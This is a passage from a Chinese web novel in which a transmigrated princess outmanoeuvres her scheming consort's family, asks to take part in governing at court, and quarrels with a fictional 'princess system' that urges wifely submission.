吴思齐赔笑道:“只要是你生的,儿子、女儿我都喜欢。”
说着,亲上陈珠儿面颊。
陈珠儿伸手推吴思齐胸膛道:“你要死呀,我怀着孩子呢,可不能伺候你,你快离了我这儿吧。”
“我怎么舍得离开你,我这辈子就是死也要死在你身上,”吴思齐调笑着,又
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在陈宝珠耳旁补了句极下流的话。
陈宝珠粉拳捶在吴思齐肩头道:“胡说什么,羞死人了,快别说了。”
吴思齐笑着将陈宝珠的拳头捉住,勾头亲了一口。
“你说要治死公主,别是哄我的吧,要是叫人查出来,这可是杀头的罪过。”陈宝珠望着吴思齐双眼道。
吴思齐将陈宝珠打横抱起放到床榻上,自己欺身压上道:“怕什么,二皇子登基,他与我是什么关系?就算被查到,他定会帮我压下来。你呀,别想些有的没的,伺候你夫君要紧。”
红帐翻滚,两人一夜缠绵不必细说。
隔天早上,记录宣平侯府这一夜种种写成的密折便呈到了皇帝的案头。
皇帝先搁到一边,他怕看后生气又叫冷小幸诊出,等到冷小幸号完脉去前朝了,才拿出来看。
这一看,便思量着该怎么做,既不让女儿伤心,又能解气。
正想着,派去前朝打听情况的内侍回来了。
皇帝问道:“如何?可有人为难昭华?”
“有一两位不知情的大人说了几句不中听的话,不过都被政事堂的大人们压了下去。”内侍躬身道。
皇帝颔首道:“再去瞧瞧,若是昭华待的不耐烦,便命她回来。”
内侍领命而去。
皇帝觉得有些胸闷气短,在宫女的服侍下缓缓躺下,心道:“都怪这身子不争气,若我身子好。这群贱人怎敢想着算计昭华。”
待冷小幸从前朝回来,见皇帝面色不佳,伸手要为他诊脉。
皇帝摆手不让号脉,只道:“我没事,就是有点担心你,怎么样?觉得好玩吗?”
“哎呀,父皇,”冷小幸见状也不坚持,撒娇道:“儿臣都说过了,我去是为了建功立业,不是去玩儿的。”
“那今日可有所斩获?说给为父听听。”皇帝哄道。
冷小幸绘声绘色讲了方才前朝们大臣讨论的政务,她知道皇帝精力有限,便言简意赅说得分明,还在加上了自己的见解。
皇帝初时没有在意,后来越听越专注,不禁有些心惊。
冷小幸口齿清晰还在其次,难得是她竟能切中要害、言之有物。
虽然比不得已薨逝的太子,但与其他未接触过政务的同龄人相较,已算极有天赋。
皇帝不由心中暗叹:“真是块璞玉,只可惜是个女儿家,不能继承大统,且又耽于儿女私情。”
想到此处,皇帝心念一动,命人取来昨日关于宣平侯府的密折,递给冷小幸。
冷小幸不明所以接过,一目十行看完,面上波澜不惊。
倒把皇帝吓着了,忙道:“好孩子,你若是生气,只管打杀了他们。若是伤心就哭出来,爹爹在这里,千万别憋在心里。”
“自从那日侯夫人逼我认下野种,我便对吴思齐再无情意。”冷小幸冷笑道:“天下男人多的是,人尽可夫,难道唯吴思齐一人尔?父皇放心,儿臣不是那般贱骨头。”
9.替驸马养私生子的公主9
皇帝抚掌大笑道:“说得好,这才是我的女儿。”
“眼下父皇病着,若是大张旗鼓处置了他们,只怕会引来不必要的猜测,依儿臣之见不如暂且搁置,待父皇好了再说。”冷小幸道。
皇帝却道:“你呀,别想太多,虽然宣平侯有开城门乞降之功,为父保留他的爵位也有安抚那些世家的意思。国朝初立,不宜再有乱子,何况四境未宁还有用得到他们的地方。”
“但朕已坐拥天下,就算把他们都杀了也算不得什么大事,你莫要为此委屈了自己。”皇帝掷地有声。
“父皇要不说,女儿且想不到这些,”冷小幸道:“女儿是想明白了为什么他们明明恨不得我去死,却偏要做出对我好的模样,无非是踩着我扬他们的名,一边娶我捞好处一边作践我。死,便宜他们了。”
皇帝想到从前昭华公主对吴思齐痴恋,今见冷小幸如此说,转变之大,不禁有些诧异。
冷小幸低声道:“以前是女儿不懂事,可如今皇兄走了,母后也走了,父皇病着,由不得女儿再不长大。”
皇帝听了这话心酸不已。
冷小幸少不得劝皇帝别伤怀。
父女谈心后,一起用过午膳,冷小幸服侍皇帝午睡,回了偏殿。
她本想也睡一会儿。
系统却不肯放过她,气急败坏道:“你看你,我都说了让你对宣平侯夫人恭顺谦卑,你偏不听,这下好了,他们还是要杀了你。”
“难道我对他们好,他们就不杀我了?那你前世为什么会死?是你不够恭顺?不够谦卑吗?”冷小幸嘲讽道:“再说了,杀了我,他们现在也做不到。”
“我不是昭华公主,”系统气急败坏道:“他们为什么做不到?先前你那么说我还以为是二皇子和淑妃暗害了皇帝。原来其实不过早知道几天而已,说来也没有什么大错,一旦山陵崩,不还是二皇子继位?你不是还是要在他手底下讨生活?驸马他们到时候再杀你不迟。”
“谁告诉你一定是他继位?”冷小幸反驳道。
系统理所当然道:“正所谓有嫡立嫡,无嫡立长,太子已逝,二皇子为诸皇子之首,又有世家支撑,不是他继位还能是谁?难道你想扶持别人?你可别做梦了。”
“为什么要扶持别人?”冷小幸不让人伺候,亲手取下一支七尾凤钗道:“我就不能自个做皇帝?”
“这世上哪有女子做皇帝的?你疯了不成?”
“以前没有,以后就有了,”冷小幸不以为然道:“等等,莫非你上一世卑躬屈膝,并不是因为你要做个贤妻良母,而是因为皇帝不在了,比起你这个姐姐,二皇子更看重吴思齐,所以你才委屈求全的?”
经过几番掰扯,公主系统已经放弃反驳她不是前世的昭华公主,她只当没听到,继续道:“当然不是,是因为我,不,是因为前世昭华公主她既已嫁驸马为妻,自当恪守妇道、贤良淑德、遵从夫为妻纲、三从四德。”
“夫为妻纲?三从四德?”冷小幸嗤笑道:“那你可别忘了尊卑有别,公主为君位尊,附马为臣位卑。”
“莫要胡搅蛮缠,总之你赶紧派人去安抚宣平侯府,真是的驸马都回来一日了,你人不到就算了,怎么能不闻不问?天下哪有这样做妻子的?”
“然后呢?”
“然后?当然是向皇帝求旨,赐陈宝珠诰命,让她做平妻,与她共侍一夫姐妹相称,对她的孩子视如己出,早早为孩子请封爵位,这样就能感化他们,你也还算个好女人,也不用死了。”
“哼,”冷小幸摇头道:“真是话不投机半句多,我与你说不到一处。”
“你得完成任务啊,”公主系统苦口婆心劝道。
“你放心,他们死后,我会让命人为他们超度,好好感化他们的。”
公主系统简直要气死,仍旧唠叨个不停。
冷小幸显然已经习惯,她不再搭理公主系统,心想皇帝英明神武,对于她编造谎言却深信不疑。
一来,冷小幸展示了超高的医术将他从鬼门关救回来。
二来,皇帝相信先皇后有能力使人教导女儿武艺,还能瞒到滴水不漏。
三来,皇帝相信昭华公主对先皇后、先太子的感情,也相信自己的女儿有能力在短短时日习得医术。
冷小幸心下暗叹:“先皇后也非泛泛之辈,怎么皇帝和先皇后竟生出昭华公主这么个自甘下贱的恋爱脑?这可真是龙凤窝里爬草蛇。”
至于公主系统所说的世家,确实有一点棘手。
冷小幸曾经待过的一个世界,那个世界也曾有过百余年世家门阀当道,直到某个王朝连续出了三位千年难遇、雄才伟略的皇帝都未能彻底拨除世家。
最后还是一个狠人用物理毁灭的方式基本铲除世家,极大削弱门阀阶级带给后世的恶劣影响。
冷小幸方才方对皇帝所言,并非都是实话。
她是个局外人,宣平侯府一众人等的性命,她不放在眼里,只是眼下他们还不能死。
宣平侯府对此一无所知,还沉浸在即将成为新帝外家的喜悦中。
几天后,驸马吴思齐终于从温柔乡中察觉到不对,距淑妃传来口信,已半月有余,皇帝丧钟还未响起。
淑妃亦未再传出消息,不知宫中情形如何。
且公主对吴思齐向来体贴,即便她在宫中脱不开身,知道吴思齐回京,也一定会派人前来问候。
为何至今毫无动静?
当然是因为皇帝的帝王心术。
冷小幸入宫替太子妃暂时掌管宫闱,宫中消息无法传出,她救下皇帝又对朝臣下了封口令。
等皇帝清醒后知道向来恭顺的淑妃与二皇子所为,不由起了借此试探其他人的心思,照旧封锁消息。
冷小幸每日上朝听政,并非大朝会(皇帝病了,本就不召开大朝会),而是尚书令及各部尚书等人对于要紧政务的讨论会,能列席者寥寥无几。
从冷小幸第一日出现,尚书令为她站台,参会者便有
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所明悟,并没有向外宣扬见到冷小幸之事。
所以知道冷小幸治好皇帝,皇帝日渐康复,不过几个重臣罢了。
宣平侯夫人亦是不安,深悔她过于急躁。
昭华公主是个傻的,但皇帝绝对不糊涂,要是让他知道他们给公主设套诱公主搬到宣平侯府,还逼她将吴思齐和陈宝珠的私生子认作亲子,大婚至今尚未圆房等事。
整个宣平侯府都得死。
吴思齐安慰道:“母亲莫要自乱正脚,若是陛下知道这些事,早就派人来了,现下既无事,应当无忧。”
“早知如此,该等皇帝宾天......”宣平侯夫人攥帕子低声道。
吴思齐立刻打断道:“母亲!”
宣平侯夫人忙住了口。
母子俩只能相互安慰,期待宫中传来皇帝大行的消息。
形势不明,他们不敢贸然联系淑妃。
在痛苦等待的煎熬中,终于等来了陛下大安,明日召开大朝会的噩耗。
宣平侯夫人与陈宝珠凑在一处,一会相互安慰,一会相对垂泪,折腾了一夜。
独自待在外书房枯坐一夜的吴思齐,不断“用公主爱我,皇帝宠爱她,只要她肯为我周旋,一切无忧。”、“明明传出皇帝油尽灯枯的信,怎么会大安?或许只是回光返照。”来宽慰自个。
丑时一刻,仆从在外扣门提醒吴思齐该换官服动身了。
吴思齐强撑着不在仆从面前露怯,穿戴整齐,坐上马车到宫门外同其他朝臣一同等候。
寅正五刻上朝的鼓点准时响起,宫门大开,朝臣按品级高低依次进入。
吴思齐带着微末的期望,行尸走肉般踏入宣政殿。
众朝臣站定不久,殿外传来钟声,这是皇帝从后宫起驾的信号。
吴思齐听得鼓声,只觉心跳如雷鸣、分外难熬。
鼓声停止,耳边传来宫廷乐队演奏的《昭和之乐》,吴思齐知道皇帝的步辇已到殿外,他无比希望皇帝只剩一口气被抬进来,进来宣布二皇子继位就驾崩。
终于,乐声停止,这代表皇帝已坐定。
吴思齐恨不得伸长脖子去瞧,但碍于礼制,只能垂首躬身。
好不容熬过跪拜之礼,吴思齐迫不及待抬头,便看到皇帝好端端坐在龙椅上,冷小幸站在一旁。
吴思齐有些迷茫冷小幸为何会出现?更奇怪的是高阶官员没有对此提出异议。
在百官奏事前,王内侍省奉命宣读淑妃、冯太医等其他意图趁皇帝生病意图染指皇权之人的罪行,以及对他们的处置结果。
吴思齐竖着耳朵听,只觉自己全家死期将至,即便皇帝不知他们对昭华公主的谋算,可宣平侯府毕竟是淑妃的母族,淑妃有罪,岂能不问罪母家?
他屏气凝神,听到最后却没有听到宣平侯府的字眼,不由长长舒了口气,暗自庆幸皇帝顾忌昭华公主颜面,不追究她的夫家。
皇帝目光在吴思齐写满劫后余生的脸上停留一瞬。
10.替驸马养私生子的公主10
转开视线的皇帝对满朝文武朗笑道:“这次多亏我儿昭华公主医术超群,将朕救了回来,朕才能再次见到诸位爱卿。”
众朝臣立刻躬身道:“陛下洪福齐天,万寿无疆。”
有朝臣进言道:“还请陛下重赏公主,以彰其孝心,作万民之表率。”
皇帝颔首道:“爱卿所言甚是。”
他摆摆手,王内侍省便双手捧着早已拟好的圣旨,对冷小幸道:“请殿下接旨。”
冷小幸走下高台,站在百官前,转身面对皇帝跪下。
王内侍省紧随其后,站定在冷小幸身前展开圣旨大声宣读,无外乎加封地、加食邑、赐千金等等。
宣读完毕,王内侍省欲将圣旨奉于冷小幸。
冷小幸却不抬手臂。
还微微弯着腰伸出手的王内侍省心头一紧,不知该如何是好。
只听皇帝语气平淡道:“怎么?昭华你不愿奉旨吗?”
冷小幸磕了个头道:“父皇,儿臣可以不要这些赏赐,换一个恩典吗?”
此言一出,有不少朝臣偷偷去瞄驸马吴思齐。
天下皆知昭华公主爱慕驸马,对驸马情深义重。
没想到,竟爱到这个程度,朝堂之上百官面前,公主竟敢抗旨不遵,只为给驸马求一个前程。
有人心想:“历来男子建功立业,可为母亲、妻子挣来诰命。不曾听闻女子立功,她的父亲、丈夫能得到什么?当然,世上也从未有过女子立功之事,现下若是开了这个头,以后倒可引援为例。”
还有人只恨自己也没生得一副好皮囊,引得公主下嫁,平白赚了个好前程。
吴思齐先是窃喜,而后又觉愤懑,他心道:“我自有才华能力,何须你当着满朝文武给我求前途,我颜面何在?将来不论我做出什么成绩,都会被看做靠女人上位,真是无知妇人。”
就连皇帝亦是一惊,生怕女儿改了主意,又心疼上已经在他心里判了死刑的吴思齐。
“哦?”皇帝一面担忧冷小幸为吴思齐求免罪诏书,一面问:“你想换什么?”
冷小幸叩首道:“儿臣想换一个入朝理政的机会,求父皇成全。”
朝臣已做好等冷小幸张口说完,只要不是给驸马要官要的太过分,便称颂公主贤良淑德之类的场面话,表示支持冷小幸所请。
万万没想到冷小幸说出这样一句石破天惊的话。
女子入朝理政,历朝历代不是没有,只不过能够入朝理政的女子唯有太后或皇后,且必须是皇帝年幼,或者皇帝多病无力处置朝政的情况下才行。
太后、皇后是嫁入皇家的宗妇,公主是出嫁女。
在世人心中,有着自家人和外人的本质区别。
皇帝虽未痊愈,但身体明显好转,无需妇人代为理政。
冷小幸这个请求可谓是前所未有。
之前,重臣议事时冷小幸在旁听着,未遭到剧烈反对是因为尚书令等人觉得皇帝在病榻不放心,在那种特殊情况下,他们可以接受冷小幸奉命前来。
今日,冷小幸跟着皇帝来宣政殿。
重臣没有提出异议,是因为一则冷小幸可随时为皇帝医治,这是对皇帝身体康健的保障。二则他们知道皇帝要重赏冷小幸,在大朝会当着文武百官受赏,这本身也是一种荣耀。
他们可以接受冷小幸在大朝会时站在皇帝身旁直到皇帝彻底痊愈。
但他们绝不能接受冷小幸入朝理政。
礼部侍郎率先道:“陛下,《礼记·内则》有云:‘男不言内,女不言外’,即为‘妇人无外事’。公主临朝,必乱纲常,届时天下效仿,国本何安?还请陛下三思,重赏公主即可。”
“陛下,百官皆为饱学之士、治世之臣,何须公主越俎代庖?还请陛下三思。”吏部侍郎亦道。
“陛下,”兵部侍郎急道:“大战在即,若将士们听闻公主临朝,恐心生不服,影响边关士气,更有损我朝军威,万望陛下三思。”
朝臣纷纷出列,众说纷纭。
皇帝一言不发,不置可否。
吴思齐犹豫不决,不知该不该表态,更不知该如何表态。
直到有朝臣厉声道:“公主已嫁人,若是临朝,有外戚弄权之祸,此乃亡国之兆,不可不妨。”
吴思齐闻言,惊惧非常立刻道:“陛下明鉴,宣平侯府绝无不臣之心。”
说完,吴思齐后背冷汗已溢湿衣裳,他心中深恨冷小幸没事找事,连累宣平侯府。
皇帝语气冰冷道:“你是昭华的驸马,竟不愿支持她?”
“这,”吴思齐舌根发苦,他小心翼翼斟酌道:“公主殿下贤明仁善,心系社稷,臣心有荣焉。但若殿下置身朝堂,必会引来朝野上下非议,臣实在不愿殿下清名有损,恳请陛下三思。”
百官皆道:“恳请陛下三思。”
偌大个朝堂,竟没有一人请冷小幸收回所求。
作为系统的昭华公主感受到了冒犯:“他们怎么能不把我们当人呢?”
冷小幸闻言有些诧异。
公主系统不悦道:“怎么?我说的不对吗?”
“我发现只要不涉及吴思齐,你就不傻了。”冷小幸道。
“胡说,我对着他也不傻,他方才字字句句都在为你着想,这样的好夫婿到哪里找?你快别胡闹了,跟他回家吧。”公主系统劝道。
冷小幸在心里翻了个大白眼,奇道:“你对他情根深种,却不介意我与他做夫妻,为什么?”
“咳,我凭什么告诉你,总之你做个好妻子,好母亲,好好完成任务就好。”
一人一统斗嘴之际,皇帝已道:“此事容后再议。”
暂且将冷小幸请求入朝理政之事搁置,议了几件朝政,才宣布退朝。
冷小幸与皇帝起驾回内宫,父女俩都没理追上来躬身行礼的吴思齐。
吴思齐弯着腰不敢起身,更不敢追到内宫去,等皇帝、冷小幸走远,才直起身子去官署。
冷小幸父女回到紫宸殿,皇帝换了身常服。
冷小幸先为皇帝诊脉、施针,服侍皇帝用过汤药。
皇帝才问道:“你既有心入朝,为何不先告诉为
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父?”
“父皇会答应吗?”冷小幸不答反问。
皇帝皱着眉头道:“你贵为公主,安享尊荣不好吗?”
“人各有志,不能强求。”冷小幸正色道:“朝堂选官应当选贤任能,儿臣原本只想漫天要价就地还钱最后入朝听政罢了,但朝臣既然如此反对,儿臣也只好拿出本事叫他们心服口服,以后少不得参政一二。”
“求父皇看在儿臣有心且有能力,为朝政出力的份上,让儿臣去吧,”冷小幸说完摇着皇帝衣袖道。
皇帝手指点着冷小幸脑门,宠溺道:“你能出什么力?”
“哼!父皇可别瞧儿臣,”冷小幸不服气道:“儿臣有个法子,可削弱门阀世家。”
“哦?”皇帝原本只当逗女儿玩,这会倒觉有点兴致,他道:“说来听听。”
“反正明日儿臣还要说给百官,不如父皇明日再听吧,我且先写出来。”冷小幸笑道。
“你这个丫头,还卖关子。”皇帝笑了笑:“罢了,你去忙吧,朕歇一歇。”
冷小幸应声告退。
看着冷小幸的背影,皇帝轻轻摇了摇头,他当然想铲除世家,但此事并非易事,也不知冷小幸哪来的自信。
皇帝想着让冷小幸试试也无妨,就算将来世家反扑,他也可轻而易举护住女儿。
可怜天下父母心,皇帝为自家女儿筹谋,宣平侯夫人坐立不安等待儿子回府。
下值不久,宣平侯府人终于翘首盼回了全须全尾的儿子,不禁潸然泪下。
“母亲别哭,我这不是好好的吗?”吴思齐安慰道。
宣平侯夫人拿帕子擦着眼角道:“回来就好,回来就好。我这心总算能放下了。”
“母亲,”吴思齐上前低声道。
宣平侯夫人会意,叫丫鬟们都下去。
屋里没旁人,吴思齐便将朝堂上发生一切告诉宣平侯夫人。
宣平府侯夫人听到淑妃、二皇子被问罪,不由倒吸一口凉气,又听祸不及自家,才舒了一口气道:“想来是陛下顾念公主,不愿责罚她夫家。”
“不但为此,”吴思齐又道:“正是公主将陛下医治好。”
宣平侯夫人眼睛一亮道:“此事当真?这下不但不必担心受罚,想来我们府上作为公主夫家亦有赏赐。”
吴思齐摇头将冷小幸要用奖赏换入朝理政之事说出。
宣平侯夫人不满道:“公主真是不知所谓,不为夫家争光,到要入朝听什么政,她一个女子也不怕人家说牝鸡司晨,没有妇德。”
悄声骂了一阵,宣平侯夫人拉起吴思齐一只手,拍着他手背道:“为娘听说你还未与公主圆房,儿啊,娘知道你心里挂念着珠儿。可你已与公主成婚,公主既深得陛下宠爱,眼下又立了大功,可不能再冷淡于她。”
吴思齐垂头不语。
“若是你早与公主圆房,只怕公主已有孕在身。这女人一旦有了孩子,便会一心为孩子着想。她就是为了肚子里的孩子,也会为你求前程的,就连陛下都会看在外孙的份上重用于你。”宣平侯夫人语重心长道。